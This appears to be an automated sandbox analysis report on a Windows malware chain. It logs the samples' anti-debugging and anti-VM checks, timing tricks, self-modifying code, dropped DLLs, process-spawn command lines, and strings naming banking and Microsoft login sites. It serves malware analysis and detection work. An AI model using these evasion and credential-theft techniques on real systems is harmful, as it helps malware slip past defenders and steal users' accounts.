Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 866AB2 second address: 866AB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 866FDE second address: 866FEA instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F490480C8B6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 866FEA second address: 866FF4 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4904C3116Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 86CB1C second address: 86CB20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 87246D second address: 872471 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 87273E second address: 87275B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F490480C8C9h 0x00000009 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 8742B0 second address: 8742B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 8742B4 second address: 8742BA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 8742BA second address: 8742C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F4904C31166h 0x0000000a rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 87499A second address: 8749B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F490480C8C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 874A51 second address: 874A55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 874A55 second address: 874A59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 874A59 second address: 874A5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 874F04 second address: 874F0A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 874F0A second address: 874F10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 874F10 second address: 874F14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 874FBC second address: 874FC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: BFF9C6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: BFFAA2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: DA4BB9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: DB7659 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E2E4B7 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Special instruction interceptor: First address: 6CEA8A instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Special instruction interceptor: First address: 771B0F10 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Special instruction interceptor: First address: 8934F9 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Special instruction interceptor: First address: 87CCC2 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Special instruction interceptor: First address: 6CEABC instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Special instruction interceptor: First address: 8F4ACD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 77EA8A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 771B0F10 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 9434F9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 92CCC2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 77EABC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 9A4ACD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Special instruction interceptor: First address: 497C34 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Special instruction interceptor: First address: 668938 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Special instruction interceptor: First address: 6C7BF2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe	Special instruction interceptor: First address: 78F9C6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe	Special instruction interceptor: First address: 78FAA2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe	Special instruction interceptor: First address: 934BB9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe	Special instruction interceptor: First address: 947659 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe	Special instruction interceptor: First address: 9BE4B7 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Documents\FIDGHIIECG.exe

Code function: 19_2_04F802CE rdtsc

19_2_04F802CE

Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 833	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 987	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 411	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 5520	Thread sleep count: 53 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5520	Thread sleep time: -106053s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4472	Thread sleep count: 49 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4472	Thread sleep time: -98049s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6644	Thread sleep count: 51 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6644	Thread sleep time: -102051s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6700	Thread sleep count: 215 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6700	Thread sleep time: -430215s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6424	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6532	Thread sleep count: 226 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6532	Thread sleep time: -452226s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6472	Thread sleep count: 213 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6472	Thread sleep time: -426213s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4888	Thread sleep count: 833 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4888	Thread sleep time: -1666833s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6464	Thread sleep count: 987 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6464	Thread sleep time: -1974987s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4888	Thread sleep count: 411 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4888	Thread sleep time: -822411s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8072	Thread sleep count: 97 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8072	Thread sleep time: -2910000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8072	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe TID: 7852	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe TID: 712	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Last function: Thread delayed

Source: C:\Users\user\Documents\FIDGHIIECG.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE6EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6CE6EBF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.1860348487.0000000000D7F000.00000040.00000001.01000000.00000003.sdmp, FIDGHIIECG.exe, 00000013.00000002.1891273623.000000000084C000.00000040.00000001.01000000.0000000B.sdmp, FIDGHIIECG.exe, 00000013.00000000.1840391112.000000000084B000.00000080.00000001.01000000.0000000B.sdmp, skotes.exe, 00000014.00000000.1860573978.00000000008FB000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe, 00000014.00000002.1917705813.00000000008FC000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000015.00000000.1863657479.00000000008FB000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe, 00000015.00000002.1917287219.00000000008FC000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000018.00000002.2490245124.00000000008FC000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000018.00000000.2226929475.00000000008FB000.00000080.00000001.01000000.0000000E.sdmp, 16b11e2c5c.exe, 0000001A.00000002.2486805696.0000000000622000.00000040.00000001.01000000.0000000F.sdmp, skotes.exe.19.dr	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: BKJJJDHD.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: BKJJJDHD.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: BKJJJDHD.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: BKJJJDHD.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: 16b11e2c5c.exe, 0000001A.00000002.2490560017.00000000012FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW{
Source: BKJJJDHD.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: BKJJJDHD.0.dr	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: BKJJJDHD.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: BKJJJDHD.0.dr	Binary or memory string: AMC password management pageVMware20,11696492231
Source: BKJJJDHD.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: BKJJJDHD.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: file.exe, 00000000.00000002.1861693322.00000000012E5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1574998966.0000000001317000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1861693322.0000000001317000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1574998966.00000000012E6000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000018.00000002.2492683426.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000018.00000002.2492683426.0000000000C47000.00000004.00000020.00020000.00000000.sdmp, 16b11e2c5c.exe, 0000001A.00000002.2490560017.00000000012FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: BKJJJDHD.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: BKJJJDHD.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: BKJJJDHD.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: BKJJJDHD.0.dr	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: 16b11e2c5c.exe, 0000001A.00000003.2447920146.0000000005BAB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: BKJJJDHD.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: 16b11e2c5c.exe, 0000001A.00000002.2490560017.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: BKJJJDHD.0.dr	Binary or memory string: discord.comVMware20,11696492231f
Source: BKJJJDHD.0.dr	Binary or memory string: global block list test formVMware20,11696492231
Source: BKJJJDHD.0.dr	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: BKJJJDHD.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: BKJJJDHD.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: BKJJJDHD.0.dr	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: BKJJJDHD.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: BKJJJDHD.0.dr	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: skotes.exe, 00000018.00000002.2492683426.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\D
Source: file.exe, 00000000.00000002.1861693322.000000000129E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: BKJJJDHD.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: BKJJJDHD.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: BKJJJDHD.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: BKJJJDHD.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: skotes.exe, 00000018.00000002.2492683426.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW~
Source: file.exe, 00000000.00000002.1860348487.0000000000D7F000.00000040.00000001.01000000.00000003.sdmp, FIDGHIIECG.exe, 00000013.00000002.1891273623.000000000084C000.00000040.00000001.01000000.0000000B.sdmp, FIDGHIIECG.exe, 00000013.00000000.1840391112.000000000084B000.00000080.00000001.01000000.0000000B.sdmp, skotes.exe, 00000014.00000000.1860573978.00000000008FB000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe, 00000014.00000002.1917705813.00000000008FC000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000015.00000000.1863657479.00000000008FB000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe, 00000015.00000002.1917287219.00000000008FC000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000018.00000002.2490245124.00000000008FC000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000018.00000000.2226929475.00000000008FB000.00000080.00000001.01000000.0000000E.sdmp, 16b11e2c5c.exe, 0000001A.00000002.2486805696.0000000000622000.00000040.00000001.01000000.0000000F.sdmp, skotes.exe.19.dr	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: BKJJJDHD.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: BKJJJDHD.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: BKJJJDHD.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: BKJJJDHD.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 24_2_0486011E Start: 04860427 End: 048601C6

24_2_0486011E

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe	Process queried: DebugPort

Source: C:\Users\user\Documents\FIDGHIIECG.exe

Code function: 19_2_04F802CE rdtsc

19_2_04F802CE

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CF3AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6CF3AC62

Source: C:\Users\user\Documents\FIDGHIIECG.exe	Code function: 19_2_0069652B mov eax, dword ptr fs:[00000030h]	19_2_0069652B
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Code function: 19_2_0069A302 mov eax, dword ptr fs:[00000030h]	19_2_0069A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_0074A302 mov eax, dword ptr fs:[00000030h]	20_2_0074A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_0074652B mov eax, dword ptr fs:[00000030h]	20_2_0074652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_0074A302 mov eax, dword ptr fs:[00000030h]	21_2_0074A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_0074652B mov eax, dword ptr fs:[00000030h]	21_2_0074652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_0074A302 mov eax, dword ptr fs:[00000030h]	24_2_0074A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_0074652B mov eax, dword ptr fs:[00000030h]	24_2_0074652B

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CF3AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6CF3AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 2688, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7215223519.exe PID: 7184, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\FIDGHIIECG.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\FIDGHIIECG.exe "C:\Users\user\Documents\FIDGHIIECG.exe"	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe "C:\Users\user~1\AppData\Local\Temp\1013060001\16b11e2c5c.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe "C:\Users\user~1\AppData\Local\Temp\1013061001\7215223519.exe"	Jump to behavior

